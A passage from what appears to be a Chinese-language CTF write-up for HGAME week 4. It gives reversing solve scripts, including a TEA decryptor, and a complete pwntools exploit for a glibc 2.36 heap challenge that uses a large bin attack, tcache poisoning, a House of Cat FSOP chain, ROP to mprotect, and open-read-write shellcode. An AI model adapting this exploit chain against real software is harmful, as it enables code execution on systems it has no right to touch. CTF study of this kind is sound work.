class="number">0x8B</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x17</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xC2</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x6E</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xF8</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xF5</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x6E</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x63</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x63</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xD5</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x46</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x5D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x16</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x98</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x38</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x30</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x73</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x38</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xC1</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x5E</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xED</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xB0</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x29</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x5A</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x18</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x40</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xA7</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xFD</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x0A</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x1E</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x78</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x8B</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x62</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xDB</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x0F</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x8F</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x9C</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x48</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xF1</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x40</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x21</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x35</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x64</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x78</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xF9</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x18</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x52</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x25</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x5D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x47</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xFD</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x69</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x5C</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xAF</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xB2</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xEC</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x52</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x01</span>, <span class="number">0x4F</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x1A</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x50</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x85</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xCD</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x23</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xF8</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x0C</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xCF</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x3D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x01</span>, <span class="number">0x45</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x82</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xD2</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x29</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xD5</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x01</span>, <span class="number">0x06</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xA2</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xDE</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xA6</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0xCA</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">uint32_t</span>* data = (<span class="type">uint32_t</span>*) text;</span><br><span class="line">    <span class="type">uint32_t</span> enc[<span class="number">0x28</span>];</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0x96</span>+<span class="number">0x28</span><span class="number">-1</span>,j=<span class="number">0</span>;i&gt;=<span class="number">0x96</span>;i--,j++)&#123;</span><br><span class="line">        enc[j]=data[i];</span><br><span class="line">        enc[j]=(enc[j]&lt;&lt;<span class="number">8</span>)|(enc[j]&gt;&gt;<span class="number">8</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0x64</span>,j=<span class="number">0</span>;i&lt;<span class="number">0x64</span>+<span class="number">0x28</span>;i++,j++)&#123;</span><br><span class="line">        enc[j]^=data[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0x32</span>,j=<span class="number">0</span>;i&lt;<span class="number">0x32</span>+<span class="number">0x28</span>;i++,j++)&#123;</span><br><span class="line">        enc[j]-=data[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">0x28</span>;i++)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>,enc[i]);</span><br><span class="line">    &#125;  </span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h3><p>程序执行一段以base64编码的shellcode，dump出shellcode发现是个tea加密，正常解密即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> uint32_t unsigned int </span></span><br><span class="line"><span class="type">void</span> <span class="title function_">decrypt</span> <span class="params">(<span class="type">uint32_t</span>* v, <span class="type">uint32_t</span>* k)</span> &#123;</span><br><span class="line">        <span class="type">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>],  i; <span class="comment">/* set up */</span></span><br><span class="line">        <span class="type">uint32_t</span> delta=<span class="number">0xabcdef23</span>,sum=delta*<span class="number">0x20</span>; <span class="comment">/* a key schedule constant */</span></span><br><span class="line">        <span class="type">uint32_t</span> k0=k[<span class="number">0</span>], k1=k[<span class="number">1</span>], k2=k[<span class="number">2</span>], k3=k[<span class="number">3</span>]; <span class="comment">/* cache key */</span></span><br><span class="line">        <span class="keyword">for</span> (i=<span class="number">0</span>; i&lt;<span class="number">0x20</span>; i++) &#123; <span class="comment">/* basic cycle start */</span></span><br><span class="line">                v1 -= ((v0&lt;&lt;<span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;<span class="number">5</span>) + k3);</span><br><span class="line">                v0 -= ((v1&lt;&lt;<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;<span class="number">5</span>) + k1);</span><br><span class="line">                sum -= delta;</span><br><span class="line">        &#125; <span class="comment">/* end cycle */</span></span><br><span class="line">        v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">char</span> a[] = &#123; <span class="number">0x20</span>,<span class="number">0x69</span>,<span class="number">0xb3</span>,<span class="number">0xe4</span>,<span class="number">0xd0</span>,<span class="number">0x24</span>,<span class="number">0x69</span>,<span class="number">0x93</span>,<span class="number">0x44</span>,<span class="number">0xd1</span>,<span class="number">0x16</span>,<span class="number">0xa8</span>,<span class="number">0xf5</span>,<span class="number">0xd5</span>,<span class="number">0x82</span>,<span class="number">0xaa</span>,<span class="number">0xda</span>,<span class="number">0xf0</span>,<span class="number">0x79</span>,<span class="number">0x36</span>,<span class="number">0x6</span>,<span class="number">0xfd</span>,<span class="number">0x32</span>,<span class="number">0x7f</span>,<span class="number">0xd3</span>,<span class="number">0xc0</span>,<span class="number">0x60</span>,<span class="number">0x34</span>,<span class="number">0x39</span>,<span class="number">0x49</span>,<span class="number">0x21</span>,<span class="number">0xb7</span>,<span class="number">0xa2</span>,<span class="number">0x69</span>,<span class="number">0x72</span>,<span class="number">0xe5</span>,<span class="number">0xfa</span>,<span class="number">0x51</span>,<span class="number">0x6a</span>,<span class="number">0x83</span>&#125;;</span><br><span class="line">        <span class="type">uint32_t</span> k[<span class="number">4</span>]=&#123;<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>,<span class="number">55</span>&#125;;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">40</span>;i+=<span class="number">8</span>)&#123;</span><br><span class="line">                <span class="type">uint32_t</span> v[<span class="number">2</span>]=&#123;*(<span class="type">uint32_t</span>*)&amp;a[i], *(<span class="type">uint32_t</span>*)&amp;a[i+<span class="number">4</span>]&#125;;</span><br><span class="line">                decrypt(v,k);</span><br><span class="line">                <span class="type">unsigned</span> <span class="type">char</span>* chars = (<span class="type">unsigned</span> <span class="type">char</span>*)v;</span><br><span class="line">                <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">8</span>;i++)&#123;</span><br><span class="line">                        <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>,chars[i]);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">        </span><br><span class="line">                                                                                                </span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><h3 id="without-hook"><a href="#without-hook" class="headerlink" title="without_hook"></a>without_hook</h3><p>glibc 2.36，直接套week3的exp了所以做麻烦了。large bin attack覆写mp_.tcache_bins实现任意地址写后FSOP，链子是House of Cat。（事后看来直接large bin attack打<code>_IO_list_all</code>应该就行了）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-4.hgame.lwsec.cn&#x27;</span>,<span class="number">30070</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: &#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line"><span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">edit(idx,content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Content: &#x27;</span>,content <span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x800</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x7f0</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="number">2059456</span></span><br><span class="line"></span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x820</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">fd=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">info(<span class="string">&#x27;fd:&#x27;</span>+<span class="built_in">hex</span>(fd))</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">heap5=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)+<span class="number">12992</span></span><br><span class="line">heap4=heap5-<span class="number">2320</span></span><br><span class="line">heap3=heap5-<span class="number">4448</span></span><br><span class="line">heap_base=heap5-<span class="number">0x3550</span></span><br><span class="line">edit(<span class="number">0</span>,p64(fd)*<span class="number">2</span>)</span><br><span class="line">info(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line">tcache_bins=libc_base+<span class="number">0x1f63a8</span></span><br><span class="line">_IO_list_all=libc_base+<span class="number">0x1f7660</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(tcache_bins-<span class="number">0x20</span>))</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x840</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">delete(<span class="number">4</span>)</span><br><span class="line">delete(<span class="number">5</span>)</span><br><span class="line">edit(<span class="number">5</span>,p64((heap5&gt;&gt;<span class="number">12</span>)^_IO_list_all))</span><br><span class="line"></span><br><span class="line">add(<span class="number">6</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">7</span>,<span class="number">0x900</span>,p64(heap5))</span><br><span class="line"></span><br><span class="line">pop_rdi=libc_base+<span class="number">0x23ba5</span></span><br><span class="line">pop_rsi=libc_base+<span class="number">0x251fe</span></span><br><span class="line">pop_rdx_rbx=libc_base+<span class="number">0x8bbb9</span></span><br><span class="line">pop_r12_r13_r14_r15=libc_base+<span class="number">0x23b9e</span></span><br><span class="line">roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(<span class="number">0x8000</span>)+p64(pop_rdx_rbx)+p64(<span class="number">7</span>)+p64(<span class="number">0</span>)+p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])+p64(heap3+<span class="number">0x200</span>)</span><br><span class="line">orw=<span class="string">b&#x27;\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05&#x27;</span></span><br><span class="line">payload=flat(&#123;</span><br><span class="line"><span class="number">0xa0</span>:heap3+<span class="number">0x138</span>,</span><br><span class="line"><span class="number">0xa8</span>:p64(pop_rdi),</span><br><span class="line"><span class="number">0x130</span>:roppayload,</span><br><span class="line"><span class="number">0x200</span>:orw</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">call_addr=libc_base+<span class="number">0x41b1d</span></span><br><span class="line">fake_io_addr=heap5 <span class="comment"># 伪造的fake_IO结构体的地址</span></span><br><span class="line">next_chain = <span class="number">0</span></span><br><span class="line">fake_IO_FILE=p64(heap5)         <span class="comment">#_flags=rdi</span></span><br><span class="line">fake_IO_FILE+=p64(<span class="number">0</span>)*<span class="number">7</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">1</span>)+p64(<span class="number">2</span>) <span class="comment"># rcx!=0(FSOP)</span></span><br><span class="line">fake_IO_FILE +=p64(heap3)<span class="comment">#_IO_backup_base=rdx</span></span><br><span class="line">fake_IO_FILE +=p64(call_addr)<span class="comment">#_IO_save_end=call addr(call setcontext/system)</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">0</span>)  <span class="comment"># _chain</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x88</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(heap_base+<span class="number">0x1000</span>)  <span class="comment"># _lock = a writable address</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0x30</span>)<span class="comment">#_wide_data,rax1_addr</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xc0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">1</span>) <span class="comment">#mode=1</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xd8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(libc_base+<span class="number">0x1f30a0</span>+<span class="number">0x30</span>)  <span class="comment"># vtable=IO_wfile_jumps+0x10</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x40</span>)  <span class="comment"># rax2_addr</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">edit(<span class="number">5</span>,fake_IO_FILE)</span><br><span class="line">edit(<span class="number">3</span>,payload)</span><br><span class="line">delete(<span class="number">3</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="4nswer’s-gift"><a href="#4nswer’s-gift" 